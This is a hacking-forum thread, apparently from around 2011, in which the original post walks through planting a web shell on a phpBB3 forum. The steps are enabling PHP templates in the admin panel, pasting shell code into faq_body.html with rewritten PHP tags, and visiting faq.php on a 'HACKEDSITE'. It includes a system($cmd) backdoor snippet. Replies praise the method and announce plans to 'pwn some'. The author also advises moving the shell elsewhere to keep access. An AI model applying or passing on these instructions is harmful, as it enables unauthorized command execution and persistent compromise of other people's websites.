Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] How to upload a shell on phpbb3 [TUT]

Hey guys,
In another Thread of me i mentioned to do a Tutorial about this subject, wanted to it a couple days ago but didnt had the time, sorry for that.

So here it is.
It's nothing special and probably everyone knows how to, but I didnt and I couldnt find a solution on HF so I thought maybe there are other newbies out there who have the same Problem and this Thread will help them.

Also for me this is an oppurtunity to give something back to this awesome Community.


So, first of all you go in the Admin Panel.
After that you enable "Allow PHP Templates" in the Security Settings.
Then you go to Style -> Templates and edit the "faq_body.html".

You will probably find a lot of people saying to just write something like
<!-- PHP -->
system($cmd);
<!-- END PHP -->
In there and than work with this.

But for me that didnt worked out, could be a problem with the permissions or maybe they fixed it in newer versions, idk.

So what I did is, I just wrote my shell in there.
But you cant just copy and paste it since phpbb3 wont recognize
" <?php and ?> "

So what you do is you use a Editor or a Tool that allows you to search for text and then replace it. I personally use Notepad++

Then you search for "<?php" and replace it with "<!-- PHP -->"
and you search for "?>" and replace it with "<!-- END PHP -->"

Then you just copy and paste your code into the faq_body.html

And go to that URL: http://HACKEDSITE.com/forum/phpBB2/faq.php

And there should be your shell.


very helpful tutorial im sure everyone will need this!
Used this method before. Can confirm it is effective and does the job.
(Dec 20, 2011 04:41 PM)CR33T3N Wrote:  ....

Pretty damn good method man. 👍

Thanks for all the Feedback.

But lolz, I just now see that i accidently posted this in "Hacking Tutorials" wanted to post it in the Webhacking Section.
Thanks alot this was needed, now I gonna pwn some :D
(Dec 20, 2011 07:45 PM)Gusbu01 Wrote:  Thanks alot this was needed, now I gonna pwn some :D

Just remember that if you want to keep your shell you should delete it from the FAQ and upload it somewhere else after you got access.
nice tut man i will try this out, looks useful
Hello,

Nice tuto but I have a problem.
I have activated the php in template.
I change the code of faq_body.html to
<!-- PHP -->
system($cmd);
<!-- END PHP -->

But when I go to faq.php, I have this error:

Parse error: syntax error, unexpected '}' in /home/***/www/forum/includes/template.php(230) : eval()'d code on line 4

The phpbb version: 3.0.9

thanks
Very good method. Effective and nice.
Thanks for sharing..
~ Just a learner ~
very helpful tutorial
Thanks for sharing..
So who can help me for the problem ?

It's work for you on phpbb3 ?
Thanks bro im gonna try this out now and comment back
Do u put <!-- PHP --> system($cmd); <!-- END PHP --> in the url or the php code??
In the php template code. I have watched some videos on youtube and I have follow the instruction.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by Hooded RobinMay 3, 2020 04:40 PM 47 8,127 May 3, 2020 04:40 PM
Last Post: Fizlebeens
by ParsingErrorApr 26, 2016 08:42 PM 18 1,217 Apr 26, 2016 08:42 PM
Last Post: decent l33t